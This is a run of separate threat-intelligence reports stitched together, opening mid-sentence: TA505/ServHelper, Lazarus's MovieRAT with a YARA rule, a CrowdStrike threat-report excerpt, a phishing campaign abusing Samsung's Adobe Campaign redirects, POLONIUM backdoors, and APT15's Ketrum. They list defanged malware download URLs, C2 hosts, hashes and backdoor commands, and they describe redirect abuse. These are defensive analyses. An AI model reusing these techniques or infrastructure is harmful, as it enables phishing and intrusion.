similar to the Korean campaign that used .MSI files, but this campaign downloads from hxxp://185[.]17[.]122[.]220/555.msi or hxxp://159[.]69[.]54[.]146/555.msi. This .MSI file delivers the NSIS-packed ServHelper, and the binary shares the same C&C server as the campaign targeting Saudi Arabia, Oman, Qatar, and Turkey. A campaign targeting China spoofed FedEx-themed emails with subjects pertaining to delivery problems, failures, or notifications. Instead of attachments, it had malicious URLs in the message content that lead to the download of a malicious document named fedex.doc from hxxp://www.fedexdocs[.]top/fedex.doc or hxxp://www.fedexdocs[.]icu/fedex.doc. The VBA macro in the document downloads an NSIS-packed executable from hxxps://senddocs[.]icu/stelar.exe, which installs ServHelper. However, while initial analysis of the macro made us believe that this was from TA505, the macros’ obfuscation and style turned out to be more similar to the ones described in this post, based on the code page, senders, and fast flux. This particular campaign did not match TA505’s technique. Thus we suspect that other cybercriminals purchased or borrowed ServHelper from the underground market for this campaign. ## Conclusion A number of ServHelper samples can be found in the wild, but some do not appear to be attributed to TA505. One such sample delivered Remcos, seemingly with a TA505 pattern. However, we think it may be more likely that ServHelper is sold to other malicious actors and tested on possible targets. In the long run, as more changes are added to the malware, this can make attribution to specific groups more difficult. The changes and adjustments that TA505 made from the original ServHelper and FlawedAmmyy routines may indicate that the group is experimenting and testing to determine which forms of obfuscation can bypass detections, resulting in more financial returns. It’s also possible that the changes in target countries and industries are driven by the group’s customers; targeting new victims and even returning to previously targeted countries and organizations with new techniques. This also gives TA505 more data on which types of files can be further used for detection evasion, or even to deter attribution. Given the frequency of changes in routines and deployment, we can expect TA505 to come up with more methods for payload delivery, malware types, and combinations of previously used and new routines. Further, as the malware is still being upgraded, more iterations can be expected in the future. If not removed completely, malicious actors can still take control of computers, peripherals, sensitive information, and proprietary data. As they continue to target businesses in different sectors, we can expect TA505 to keep using phishing and social engineering techniques to compromise systems. Enterprises are advised to strengthen their online systems, especially email gateways. Enforce the principle of least privilege, as well as a patch management and system update procedure to make sure the entire network is protected. Install redundant and multilayered protection systems from the gateway to the endpoint that can detect and block malicious URLs, emails, and attachments, as well as proactively monitor other possible attack vectors. Enterprises can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security. Both solutions can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs. Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs. Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.
# macOS 用戶當心!北韓駭客 Lazarus 將目標瞄準虛擬貨幣交易用戶 ## 摘要 TeamT5 近期掌握情資,北韓 APT 駭客 Lazarus 開發出 macOS 作業系統的惡意程式 MovieRAT,並試圖攻擊虛擬貨幣的使用者,藉此盜取帳戶內的虛擬貨幣。 ## 技術分析 TeamT5 透過情資管道取得惡意樣本(53d9af8829a9c7f6f177178885901c01),其檔案名稱為 Esilet.dmg,是 macOS 的第三方應用程式安裝檔。該樣本執行後,會連線至 esilet.com 網站,該網站為虛擬貨幣交易平台,但經過 TeamT5 深入追查後發現,esilet.com 於 2020 年 6 月 12 日註冊,因此可以確認為駭客近期所發動的攻擊行為。 esilet.com 是駭客特意架設的虛擬貨幣交易網站,並透過該網站的應用程式下載安裝連結來散佈惡意程式。根據網站的支援語系,推測駭客攻擊標的為英、法、德及中文的虛擬貨幣用戶。 Esilet.dmg 執行後,會和中繼站連線獲取 config,config 的連線特徵為 "C2 + /update/ + {platform}.json",故 macOS 版本的 config 下載連結為 "https://esilet[.]com/update/darwin.json"。所下載的惡意程式經過 UPX 加殼,會存放於系統的暫存目錄後執行。經過分析,該惡意程式的通訊協議和 MovieRAT 相同,故確定此惡意樣本是由 MovieRAT 改寫的變種程式。 當 MovieRAT 成功執行後,其嘗試加入 Launch Daemons/Services,將 property lists 檔案 com.applex.services.agent.agent.plist 放置於 {HomeDirectory}/Library/LaunchAgents 目錄,若寫入失敗則會寫入至 /Library/LaunchDaemons 之中,藉此達到開機後惡意程式自動執行的持續控制手法。 其所連線的中繼站位址為固定並寫死於程式中,分別為 infodigitalnew.com、www.vinoymas.ch 及 sche-eg.org。 樣本連線至中繼站後,駭客將會傳遞不同的指令碼(Command Code),樣本取得指令後會執行對應的動作,如上傳/下載檔案、指令執行及檔案/資訊回傳等。 ## 指令碼清單 | 指令碼 | 描述 | |--------------|----------------------------------------| | 0x21279E | 從中繼站下載檔案並存放於特定路徑 | | 0x2AFCB2 | 取得主機資訊 | | 0x38CE55 | Heartbeat | | 0x3A65F8 | 字串轉換為數字 | | 0x3A6A93 | 傳送HTTP封包至中繼站 | | 0x3B187D | 空指令 | | 0x484B81 | 上傳檔案至中繼站 | | 0x48C82A | 透過HTTP從中繼站下載檔案 | | 0x48D6FC | 執行指令(新加入的指令碼) | | 0x7FC0A4 | 執行指令並回傳結果 | TeamT5 經由該樣本關聯至 MovieRAT 後門程式,MovieRAT 是個輕量化的後門控制程式,支援最基本的檔案上傳/下載、指令執行及程序操作等功能。通常被駭客用於成功入侵後的第二階段控制。根據 TeamT5 的情資,將 MovieRAT 定位到駭客組織 Lazarus 身上。Lazarus 為北韓的駭客族群,擁有多起攻擊金融產業的紀錄,尤其特別針對 SWIFT 跨國轉帳交易系統和 ATM 自動櫃員機系統進行攻擊。推測為了替北韓政權籌措資金,故多選擇金融產業和具有關鍵技術的私人企業進行攻擊。過往的攻擊行動中,會在惡意程式內參雜俄文,企圖混淆分析人員。近期則是開始大量入侵攻擊虛擬貨幣交易所,造成上百萬美元的金額損失。 ## IOCs(惡意攻擊指標) | IOC | 類型 | |---------------------------------------------------------------|--------| | 53d9af8829a9c7f6f177178885901c01 | MD5 | | ae9f4e39c576555faadee136c6c3b2d358ad90b9 | SHA1 | | 9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598 | SHA256 | | 9578c2be6437dcc8517e78a5de1fa975 | MD5 | | d2a77c31c3e169bec655068e96cf4e7fc52e77b8 | SHA1 | | dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156 | SHA256 | | esilet.com | Domain | | www.kurunzi.news | Domain | | oasismagazine.africa | Domain | | lerenmetsara.net | Domain | | https://infodigitalnew.com/wp-content/plugins/top.php | URL | | https://www.vinoymas.ch/wp-content/plugins/top.php | URL | | https://sche-eg.org/plugins/top.php | URL | ## 影響與建議 1. 透過 TeamT5 ThreatSonar 檢查是否有攻擊者活動跡象,ThreatSonar 支援 Windows、Linux 及 macOS 作業系統。 2. 使用以下 yara rule 掃描主機系統,檢查是否存在 MovieRAT 後門程式。 ``` rule TeamT5_Lazarus_MovieRAT { meta: author = "TeamT5" description = "Lazarus - MovieRAT" strings: $cookie = "Cookie: _ga=%s%02d%d%d%02d%s; gid=%s%02d%d%03d%s" fullword $str_1 = "GA1.%d." fullword $str_2 = ".%d%05d%04d" fullword condition: all of them } ``` 3. 可將前述的 IOC 清單匯入既有的資安設備中,進行偵測阻擋防禦之用。 4. 更多 APT 駭客族群資訊,可參考 TeamT5 ThreatVision 情資平台。
# 2021 Global Threat Report ## Foreword Everyone reading this will likely remember the year 2020 for the rest of their lives. It was a year of hardship and grief for many, as well as tumultuous social and economic change on a global scale. For most of us in the business of stopping breaches and protecting organizations from cyberattacks, it was also perhaps the most active year in memory. The onslaught was unrelenting, and for some organizations, overwhelming. As stay-at-home orders rippled around the world, we saw office blocks turn into ghost towns virtually overnight. Millions of workers retreated to hastily equipped home offices, creating a feeding frenzy for cyber predators spurred on by the windfall of easy access to sensitive data and networks. At the same time, fear, concern, and curiosity surrounding COVID-19 provided the perfect cover for a record-setting increase in social engineering attacks from both eCrime actors and targeted intrusion adversaries. As the saying goes, “the devil is in the details,” and in many ways, that sums up this year’s Global Threat Report. The details revealed in these pages are derived from firsthand observations of our frontline cyber responders and analysts, coupled with insights drawn directly from the unprecedented volume of crowdsourced threat telemetry we continuously collect and dissect on behalf of our customers. Among the details you’ll learn in this report: - How state-sponsored adversaries infiltrated networks to steal valuable data on vaccine research and government responses to the pandemic. - How criminal adversaries introduced new business models to expand their “big game hunting” ransomware activities — and made them even more potent with the addition of blackmail and extortion techniques. - How both eCrime and targeted intrusion adversaries stepped up their development efforts, deploying a variety of inventive new methods to evade detection and confound defenders. Our annual report also offers some important lessons and recommendations for security teams operating in today’s environment. As threat actors add new tools, techniques, and procedures to their arsenals, and form new alliances to bolster their strength and extend their reach, visibility and speed are more critical than ever. Security teams must become more versatile, more proactive, and more productive to stay ahead of threats. CrowdStrike is committed to helping you achieve and maintain an advantage over adversaries. We’re working hard to help you secure your cloud environments, just as you would on-premises systems. We’re providing better ways for you to identify and proactively address potential vulnerabilities before they can be leveraged by attackers. We’re helping you protect identities and access, including new Zero Trust capabilities to compartmentalize your operations, restrict data access, and reduce risk to your most sensitive information. These are just a few of the ways we are pushing the envelope, expanding our protection capabilities so we can enhance and empower yours. We spent much of 2020 hoping that its unique challenges would quickly be consigned to history. Let’s hold onto that hope, but at the same time, we need to stay clear-eyed and resolute about the hurdles that lie ahead. I hope this report on recent global threat activity and trends helps you become better informed and better able to meet those challenges, so when we finally put this chapter of history behind us, we’ll be able to look back and reflect on not just our losses, but also a few victories. George Kurtz CrowdStrike CEO and Co-Founder ## Introduction As 2021 began, the world faced the possibility that we have not entirely put the unprecedented challenges of 2020 behind us. Healthcare sector entities continue to fight the COVID-19 pandemic that, beyond the tragic human toll of the disease, fueled numerous incidents of malicious cyber activity. The ransomware adversaries that proliferated in 2020 are as motivated as ever, evidenced by the introduction of increasingly damaging tactics, techniques, and procedures (TTPs). Finally, as 2020 came to a close, a major supply chain software attack racked the U.S. public sector and adjacent industries. CrowdStrike Intelligence offered an unparalleled level of coverage in 2020, adding 19 named adversaries to bring the total of tracked actors across the globe to 149, and increasing the number of tracked activity clusters under continued monitoring to 24. ## Introducing the eCrime Index The eCrime ecosystem is an active and diffuse economy of financially motivated entities that engage in myriad criminal activities in order to generate revenue. The market dynamics as observed by the CrowdStrike Intelligence team over the past several years are fluid; as new mechanisms and schemes are devised to generate revenue, new avenues of monetization are identified, and as the global geopolitical and economic landscape changes, adversaries evolve their tactics to maximize profits. This underground economy parallels global markets in many ways. In order to understand the ebbs and flows of this ecosystem, CrowdStrike has devised a computed value to assess the state of eCrime. The eCrime Index (ECX) is based on various observables, weighted by impact, that are continuously monitored by CrowdStrike subject matter experts. The ECX helps identify notable changes that can then be further investigated. ## Naming Conventions This report follows the naming conventions instituted by CrowdStrike to categorize adversaries according to their nation-state affiliations or motivations. The following is a guide to these adversary naming conventions. | Adversary | Nation-State or Category | |-----------|--------------------------| | BEAR | RUSSIA | | BUFFALO | VIETNAM | | CHOLLIMA | DPRK (NORTH KOREA) | | CRANE | ROK (REPUBLIC OF KOREA) | | JACKAL | HACKTIVIST | | KITTEN | IRAN | | LEOPARD | PAKISTAN | | LYNX | GEORGIA | | PANDA | PEOPLE’S REPUBLIC OF CHINA | | SPIDER | ECRIME | | TIGER | INDIA | ## Threat Hunting Overview The CrowdStrike Falcon OverWatch™ managed threat hunting team continues to observe major increases in interactive intrusion activity. In just two years, there has been a fourfold increase in the number of interactive intrusions — those involving the use of hands-on-keyboard techniques — uncovered by OverWatch. The growth in intrusion numbers has been driven in large part by the proliferation of eCrime activity. As shown in the data, eCrime intrusions made up 79% of all attributable intrusions uncovered by OverWatch in 2020. With nearly four out of five interactive intrusions uncovered in 2020 being driven by eCrime actors, it’s imperative that these adversary groups, and methods for defending against their TTPs, deserve a great deal of attention in the coming year. However, targeted intrusions driven by state-sponsored groups should not be neglected. While the relative slice of pie representing targeted intrusions shrank in 2020 compared to 2019, it should be noted that the overall numbers of both targeted and eCrime intrusions are significantly larger than in 2019. OverWatch’s observations show that nation-state adversaries are not letting up and continue to merit strong consideration in 2021. ## 2020 Trends ### Global Pandemic Brings COVID-19 Themes and Healthcare Sector Targeting In January 2020, medical and government personnel sought to understand the nature and potential threat of COVID-19, which had broken out in China’s Hubei province. Within weeks, the virus migrated beyond China to the rest of Asia, Europe, North America, and the Middle East. By March, unprecedented stay-at-home orders were put into effect around the world to slow the spread of the disease. Concern over the growing threat of the pandemic made for valuable subject matter for criminal and targeted intrusion adversaries, who used COVID-19 themes in phishing campaigns and lures. CrowdStrike Intelligence also identified both eCrime and targeted intrusion adversaries specifically attacking the healthcare sector throughout the pandemic. #### Targeted Intrusions In the early days of the pandemic, objectives for targeted intrusion actors may have included acquiring information on infection rates or country-level responses to the treatment of COVID-19. However, as the pandemic accelerated, governments were faced with daunting infection rates, mounting deaths, and overburdened hospitals. The search for a vaccine became of paramount importance, and the scientific information that could lead to a vaccine for COVID-19 was a high-priority collection requirement for many targeted intrusion adversaries. | Actor | Used COVID-19 Themes in Lures | |-------|-------------------------------| | North Korea: LABYRINTH CHOLLIMA | Targeted Healthcare Sector | | North Korea: SILENT CHOLLIMA | Targeted Government Response | | North Korea: VELVET CHOLLIMA | | | Vietnam: OCEAN BUFFALO | | | Iran: CHARMING KITTEN | | | Iran: STATIC KITTEN | | | Russia: COZY BEAR (reported in open sources) | | | China: PIRATE PANDA (suspected) | | | China: RegionalWave activity cluster | | ### eCrime Even under normal operating conditions, the healthcare vertical faces a significant threat from criminal groups deploying ransomware, the consequences of which can include the disruption of critical care facilities. Along with the possibility of significant disruption to critical functions, victims face a secondary threat from ransomware operations that exfiltrate data prior to the execution of the ransomware, a trend observed across all sectors throughout 2020. Amid the pandemic, the healthcare sector proved to be a controversial target among BGH operators. Some adversaries — including TWISTED SPIDER, VIKING SPIDER, GRACEFUL SPIDER, and TRAVELING SPIDER — publicly announced intentions to avoid targeting frontline healthcare entities. Others, including DOPPEL SPIDER, said that any unintentional infections against a healthcare provider would be quickly resolved by providing decryption keys without requiring payment. An incident affecting a Germany-based hospital triggered such a response in September 2020. Despite these assertions, CrowdStrike Intelligence confirmed that 18 BGH ransomware families infected 104 healthcare organizations in 2020, with the most prolific being TWISTED SPIDER using Maze, and WIZARD SPIDER using Conti. In some cases, adversaries may have avoided targeting hospitals but proceeded with attacks against pharmaceutical and biomedical companies. ### Trends in eCrime Phishing Themes Social engineering techniques are frequently used by criminally motivated threat actors to tailor phishing campaigns, malspam emails, and fraudulent scams. The psychology behind many of these techniques is to prey on human emotions and behavior, the most exploitable of which are greed, curiosity, fear, and the desire to help. The COVID-19 pandemic provided criminal actors with a unique opportunity to use lure content and social engineering techniques capable of targeting each of these components of human behavior. | Pandemic-Related eCrime Phishing Themes | |------------------------------------------| | Exploitation of individuals looking for details on disease tracking, testing, and treatment | | Impersonation of medical bodies, including the World Health Organization (WHO) and U.S. Centers for Disease Control and Prevention (CDC) | | Financial assistance and government stimulus packages | | Tailored attacks against employees working from home | | Scams offering personal protective equipment (PPE) | | Passing mention of COVID-19 within previously used phishing lure content (e.g., deliveries, invoices, and purchase orders) | ## Outlook COVID-19 has significantly impacted economic, social, religious, business, and political spheres. The numerous targeted intrusion operations against healthcare sector entities underscore the value that vaccine-related intellectual property had in 2020 and going forward. With the recent authorization and release of vaccines, vaccination rollout plans will likely become a target of intelligence-gathering efforts by state-sponsored adversaries in 2021. Variations on COVID-19 themes arising this year will likely include lure content referencing vaccinations or new variants of the disease.
# Office 365 Phishing Campaign Exploits Samsung, Adobe and Oxford Servers ## Introduction Over the last few years, the adoption of Office 365 in the corporate sector has significantly increased. Its popularity has attracted the attention of cybercriminals who launch phishing campaigns specifically to attack the platform. As 90% of cyber-attacks start with a phishing campaign, Office 365 is an attractive target for threat actors who work to evade the continuously introduced security solutions. Recently, a seemingly unsophisticated Office 365 phishing campaign caught our attention. The attackers abused an Adobe Campaign redirection mechanism, using a Samsung domain to redirect victims to an O365 themed phishing website. The hackers took advantage of the fact that access to a reputable domain, such as Samsung’s, would not be blocked by security software. To expand their campaign, the attackers also compromised several websites to inject a script that imitates the same mechanism offered by the Adobe redirection service. Further investigation revealed that the actors behind the campaign implemented a few other interesting tricks to hide the phishing kit and avoid detection at each stage of the attack. This report will describe what we discovered about this Office 365 phishing campaign which used trusted services to allow a new attack. ## Before we start Neither Adobe nor Samsung were compromised in the sense of exploiting a vulnerability. Samsung’s Adobe Campaign server was left available for managing campaigns that were not necessarily part of the company’s marketing efforts. A redirection mechanism redirects users to a destination specified in the URL they just clicked. This allows campaign managers, for example, to gauge and monitor ongoing advertisement efforts by logging every successful visit before redirecting the user to an ad page. ## Attack Flow In early April of 2020, we detected a phishing campaign that delivered “missed voice message” emails to its victims. Roughly 43% of these attacks targeted European companies while the rest were seen in Asia and the Middle East. The emails prompted users to click on a button that would allegedly take them to their Office 365 account. These emails use some very basic customization, such as a subject line with the target domain name and the username included in the body of the email. Despite the “Message from Trusted server” notification at the top, a vigilant user would have noticed some inaccuracies. After the victims clicked the button, they were redirected to a phishing page masquerading as the Office 365 login page. Behind the scenes, this redirection consists of two stages: the first stage abused an existing redirection scheme on the legitimate domain (e.g. samsung[.]ca), and the second stage redirected the user to a compromised WordPress site. Most of the emails came from multiple generated addresses belonging to legitimate subdomains from different departments in the University of Oxford (UK). The email headers showed that the attackers found a way to abuse one of Oxford’s SMTP servers. The email originated from the NordVPN IP address 194.35.233.10 and then passed to the Oxford SMTP server and the Oxford Relay server. Using legitimate Oxford SMTP servers allowed the attackers to pass the reputation check for the sender domain. In addition, there was no need to compromise actual email accounts to send phishing emails because they could generate as many email addresses as they wanted. ## First Stage: Abusing Samsung’s Email Redirect The technique of using Adobe Campaign open redirect was initially discovered in September 2019 on the domain belonging to Adobe itself. In the last few months, it’s been widely abused for phishing purposes. To evade detection, attackers abuse open and reputable Adobe Campaign servers to redirect potential victims to their own phishing websites. This means that the link embedded in the phishing email is part of a trusted domain – one that unknowingly redirects victims to the phishing website. In this case, the Adobe Campaign server belongs to Samsung Canada. How does this work? t.email1.samsung[.]ca is a subdomain for Samsung-Canada email campaigns, which hosts an Adobe Campaign server. The specially crafted URL contains a parameter called p4 which provides the server with a different redirect destination for each victim. In our case, the attackers took the existing link from an old, but legitimate Samsung Cyber Monday themed email campaign dating back to 2018. By changing the p4 parameter, they repurposed it to redirect the victim to a domain they controlled instead of https://samsung.com/ca/. By using the specific Adobe Campaign link format and the legitimate domain, the attackers increased the chances for the email to bypass email security solutions based on reputation, blacklists and URL patterns. However, this is not the first time an Adobe Campaign on Samsung infrastructure was used as a relay for phishing. ## Second stage: Redirect the User to a compromised WordPress site The second layer of redirection is used to distance the final phishing page from the original email. In this case, the attackers used several compromised WordPress sites which contain malicious redirect code. Introducing another redirection layer enables the attackers to circumvent security solutions that investigate the links within the email. Thus the URL within the email points to a WordPress site instead of a suspicious-looking phishing page. The redirect code, which is added to the compromised site’s homepage HTML code, also checks if the requested URL contains a # sign followed by an email address. If this condition is met, it redirects the victim to the final phishing kit. As a result, only users that have an email address in the link will be redirected, while users that enter the WordPress site directly do not notice any changes. This trick can prevent the site owners from detecting the abuse of their pages. ## More redirects A few days after the campaign launched, the attackers changed the URL inside the emails to a different one. This time, the compromised WordPress site was ottawashowers[.]ca. The attacker set up the subdomain t-email1 and a redirection script in the /r/ folder to mimic Adobe Campaign URLs. The parameters from the original Samsung campaign were left unchanged. Later on in the campaign, the attackers changed the redirection method to be independent of a specific domain or Adobe Campaign server. They compromised and set up a similar redirect on multiple WordPress sites. In addition to changing the redirect domains, the threat actors started to change other (previously constant) parameters in the URL while preserving the basic Adobe URL structure. The parameters are used to check the integrity of the link, as well as to avoid detection by pattern-based engines. ## Phishing Kit The final phishing kit was located on compromised WordPress sites. In some cases, the phishing kit was located on sites designed to look like a Microsoft login page. A separate virtual directory is created for each victim, so the final URL is different for every victim, even on the same server. Most of the HTML code of the phishing pages is generated by JavaScript. The phishing page is divided into multiple sections, and each section is obfuscated with multi-byte XOR. For example, the <HEAD> section of the HTML page is a piece of JavaScript code containing 2 hex blobs that are unescaped and evaluated. This decoding function extracts encoded data and XOR key from the argument and performs XOR between the data and the key. The second eval() statement calls this decoding function and writes the final HTML to the page with document.write(). Generated HTML code means that all the pages look the same, but they have completely different source codes. Together with obfuscation, this method helps hide the code and its malicious intents from security software. ## Conclusion In this campaign, the attackers used multiple mechanisms to bypass security solutions at each stage. Utilizing an Oxford email server to send spam allows them to bypass the sender reputation filters and use generated email accounts instead of compromised actual accounts. Links within the email point to a high reputation domain owned by Samsung. A chain of redirects lead to a fully-obfuscated phishing page. During the short campaign period, the attackers continuously developed and improved the redirection method to be independent of a specific domain and the Adobe Campaign servers. Check Point recommends organizations to use cloud and mail security solutions. The fact these campaigns thrive proves native security solutions are easy to bypass – such solutions are essential to remove threats getting into your email and protecting your cloud infrastructure. Adobe took the relevant actions to prevent this type of attack through its server across all customers. ## Appendix A: IOCs **Redirect servers:** - t.email1.samsung[.]ca/r/ - t-email1.ottawashowers[.]ca/r/ - t-email1.instantytpresence[.]com/r/ - flycloud.co[.]il/r/ - cosmos.org[.]in/r/ - iyak.org[.]tr/o/ - ankit-gupta.co[.]in/r/ - istern.co[.]il/r/ **Compromised WP sites hosting Office 365 phishing kits or intermediate redirects:** - junestore[.]club - popskill[.]net - yourhindinews[.]com - mrdigitalduniya[.]com - vrpublicnews[.]com - learndigitalseo[.]com - ghassociates.co[.]in - yournewstv[.]com - codewithjustin[.]com - pretrendy[.]com - dalelaganj[.]com - getfasternews[.]com - bloggingthenews[.]com - wpbasket.co[.]il - acornmagic[.]club - heaccountabilitycollective[.]com - legaltax[.]in - cbcvietnam[.]org - zeriio[.]com - ww.indoxxi[.]pl - espinozaweb[.]net - rumahcendekiaunj[.]com - beatanyinvestment[.]club - activedomain53[.]com - absoluteaesthetics.co[.]uk - tremplinedu[.]com - iamkongu[.]com - www.kwentongnoypi[.]com
# Hacking group POLONIUM uses ‘Creepy’ malware against Israel Bill Toulas October 11, 2022 Security researchers reveal previously unknown malware used by the cyber espionage hacking group 'POLONIUM,' threat actors who appear to target Israeli organizations exclusively. According to ESET, POLONIUM uses a broad range of custom malware against engineering, IT, law, communications, marketing, and insurance firms in Israel. The group's campaigns are still active at the time of writing. Microsoft's Threat Intelligence team first documented the group's malicious activities in June 2022, linking POLONIUM threat actors in Lebanon with ties to Iran's Ministry of Intelligence and Security (MOIS). ESET reports that POLONIUM is solely interested in cyberespionage and does not deploy data wipers, ransomware, or other file-damaging tools. Since September 2021, the hackers have used at least seven variants of custom backdoors, including four new undocumented backdoors known as 'TechnoCreep', 'FlipCreep', 'MegaCreep', and 'PapaCreep.' Some backdoors abuse legitimate cloud services, such as OneDrive, Dropbox, and Mega, to act as command and control (C2) servers. Other backdoors utilize standard TCP connections to remote C2 servers or get commands to execute from files hosted on FTP servers. While not all backdoors have the same features, their malicious activity includes the ability to log keystrokes, take screenshots of the desktop, take photos with the webcam, exfiltrate files from the host, install additional malware, and execute commands on the infected device. The most recent backdoor, PapaCreep, spotted in September 2022, is the first one in C++, whereas the hackers wrote older versions either in PowerShell or C#. PapaCreep is also modular, breaking its command execution, C2 communication, file upload, and file download functions into small components. The advantage is that the components can run independently, persist via separate scheduled tasks in the breached system, and make the backdoor harder to detect. Besides the ‘Creepy’ variants, POLONIUM also uses various open source tools, either custom or off-the-shelf, for reverse proxying, screenshot taking, keylogging, and webcam snapping, so there’s a level of redundancy in the operations. ESET couldn't discover POLONIUM's tactics used to initially compromise a network, but Microsoft previously reported that the group was using known VPN product flaws to breach networks. The threat actor's private network infrastructure is hidden behind virtual private servers (VPS) and legitimate compromised websites, so mapping the group's activities remains murky. POLONIUM is a sophisticated and highly targeted threat whose crosshairs are fixed at Israel right now, but this could change any moment if the priorities or interests change.
# The Evolution of APT15’s Codebase 2020 The Ke3chang group, also known as APT15, is an alleged Chinese government-backed cluster of teams known to target various high-profile entities spanning multiple continents. Examples include attacks on European ministries, Indian embassies, and British military contractors. The group’s activities have been traced back to 2010 and it is known to boast a large number of custom tools, most often tailored to their specific target. In mid-May, we identified three recently uploaded samples from VirusTotal that share code with older APT15 implants. We named this new family of samples, “Ketrum,” due to the merger of features in the documented backdoor families “Ketrican” and “Okrum.” We believe the operation was conducted very recently. Below we present a technical analysis of these samples and explain the evolution of APT15’s codebase over the last year. ## Overview The three samples we discovered seem to be a mix of the Ketrican and Okrum backdoors documented by researchers at ESET in 2019. Features have been merged from these two malware families to create a different RAT class for the group. We’ve decided to call this umbrella of malware “Ketrum.” The new samples we found continue the Ke3chang group’s strategy of using a basic backdoor to gain control over the victim’s device, so that an operator can then connect to it and run commands manually to conduct further operations. Before beginning our technical analysis, we were able to connect these binaries to Ke3chang using Intezer Analyze: | SHA256s | Name | VirusTotal Date | PE Timestamp | C2 | Family | |--------------------|-----------------------|------------------|--------------|----------------------------------|---------| | a142625512e | RavAudio64.exe | 2019-12-03 | 7 Jan 2010 | menu.thehuguardian[.]com | Ketrum1 | | 271384a078f | – | 2020-05-16 | 13 May 2020 | www.thehuguardian[.]com | Ketrum2 | | aacaf0d4729 | – | 2020-05-17 | 13 May 2020 | www.thehuguardian[.]com | Ketrum2 | The C2 was registered towards the end of 2019, which makes us believe the first PE timestamp was tampered with, and the latter two timestamps are at least close to the real compilation date. It’s also important to note the C2 was registered in China and ceased operating in mid-May. ## The Best of Two Worlds We documented several interesting differences between the backdoors: | | Ketrican | Okrum | Ketrum1 | Ketrum2 | |---------------------|----------|-------|---------|---------| | Identify installed proxy servers and use them for HTTP requests | ❌ | ✅ | ✅ | ✅ | | Special folder retrieval using registry key | ✅ | ❌ | ✅ | ✅ | | The response from the server is an HTTP page with backdoor commands and arguments included in the HTML fields | ✅ | ❌ | ❌ | ✅ | | Backdoor commands are determined by a hashing value received from C2 | ❌ | ✅ | ❌ | ❌ | | Communication with the C&C server is hidden in the Cookie and Set-Cookie headers of HTTP requests | ❌ | ✅ | ✅ | ❌ | | Impersonate a logged in user’s security context | ❌ | ✅ | ✅ | ❌ | | Create a copy of cmd.exe in their working directory and use it to interpret backdoor commands | ✅ | ❌ | ✅ | ❌ | | Usual Ke3chang backdoor functionalities – download, upload, execute files/shell commands and configure sleep time | ✅ | ✅ | ✅ | ✅ | | Screenshot-grabbing functionality | ❌ | ❌ | ✅ | ❌ | ## Ketrum 1 The Ketrum 1 sample was uploaded to VirusTotal in December 2019. This version registers itself as a “WMI Provider Host” service if it is able to obtain SeDebugPrivilege; otherwise, it creates an entry in the startup directory. This sample incorporates many features from Okrum as can be seen in the table above, however, it abandons more advanced Okrum features such as offering a reflective injection via an export and the use of hashes to receive command IDs. In the past, APT15 has used the IWebBrowser2 COM interface to manage its network communications. This time, the Ketrum developer abandoned this technique and used simple HTTP APIs. Interestingly, this sample also incorporates a screenshot-grabbing command. ## Ketrum 2 Ketrum 2 seems to have been built for minimalism. As can be seen in Table 2, many functionalities have been dropped. Unlike the Ketrican variant, Ketrum implants no longer try to weaken the system’s security configurations. In previous implants, Powershell was used for this end. Interestingly, a string still remains in Ketrum 2, which refers to this deleted feature—perhaps an unintentional left-over from copy-pasting. Several other interesting unused file names are included in the binary such as “%s\adult.sft” and “%s\Message.” The malware first collects basic system information to track the infected endpoint and then sends it to the C2 server together with a hash of the system info. All incoming and outgoing payloads are fed through an RC4 encryption and base64 encoding. The RC4 encryption uses an unusual key: these are actually constants used in the MD5 and SHA1 algorithms. The Ketrum developer most likely intended to confuse researchers reversing this function. A command is then extracted from the HTML in the response. This backdoor only supports a limited number of commands, which is typical of Okrum and Ketrican backdoors. Unlike Ketrum 1, Ketrum 2 does not support screenshot grabbing. This is the list of possible backdoor commands: | Command ID | Description | |------------|-------------| | 1 | Adjust sleep time | | 2 | Execute a shell command | | 3 | Upload a file | | 4 | Download a file | | 5 | Execute a file | | 7 (there is no 6) | Execute a shell command with adjusted sleep time | | 8 | Adjust execute shell sleep time | | 9 | Download “Notice” file to working directory – * it is unclear how this is used | ## Code Reuse Both Ketrum samples resemble a similar layout to previous Ke3chang tools, apart from low-level implementation and use of system APIs. Even in the two Ketrum samples, there are differences between the low-level APIs used to achieve the same functionality. For example, the file upload feature is implemented using different APIs throughout the families; mostly using a constant value of 0x20000 when reading files. As reported by FireEye and ESET, it’s likely the Ke3chang cluster of malware is developed by multiple teams and the developers of Ketrican/Okrum belong to a different team than the developers of Ketrum, albeit related. This could explain the high-level and flow similarities but also the low-level differences. ## Conclusion Ke3chang’s numerous tools such as Okrum, Ketrican, TidePool, Mirage, Ketrum, and others all serve the same purpose, give or take a few techniques or functionalities tailored for specific targets. We can regard these tools under the same umbrella of BS2005 malware, distributed as different versions per operation. However, the distinction created by naming them differently is useful for tracking the group’s operations and different development cycles. The Ke3chang group’s tools have not deviated much from the same tools reported in FireEye’s first Ke3chang report. The group continues to morph its code and switch basic functionalities in their various backdoors. This strategy has been working for the group for years and there is no indication yet that it will deviate from this modus operandi. The information security field has seen many improvements since the group’s inception; however, surprisingly, this is not reflected in the group’s persistence to use the same old TTPs in their tools. ## IOCs - 271384a078f2a2f58e14d7703febae8a28c6e2d7ddb00a3c8d3eead4ea87a0c0 - aacaf0d4729dd6fda2e452be763d209f92d107ecf24d8a341947c545de9b7311 - a142625512e5372a1728595be19dbee23eea50524b4827cb64ed5aaeaaa0270b - thehuguardian[.]com - 45.56.84[.]25 **Paul Litvak** Paul is a malware analyst and reverse engineer at Intezer. He previously served as a developer in the Israel Defense Force (IDF) Intelligence Corps for three years.
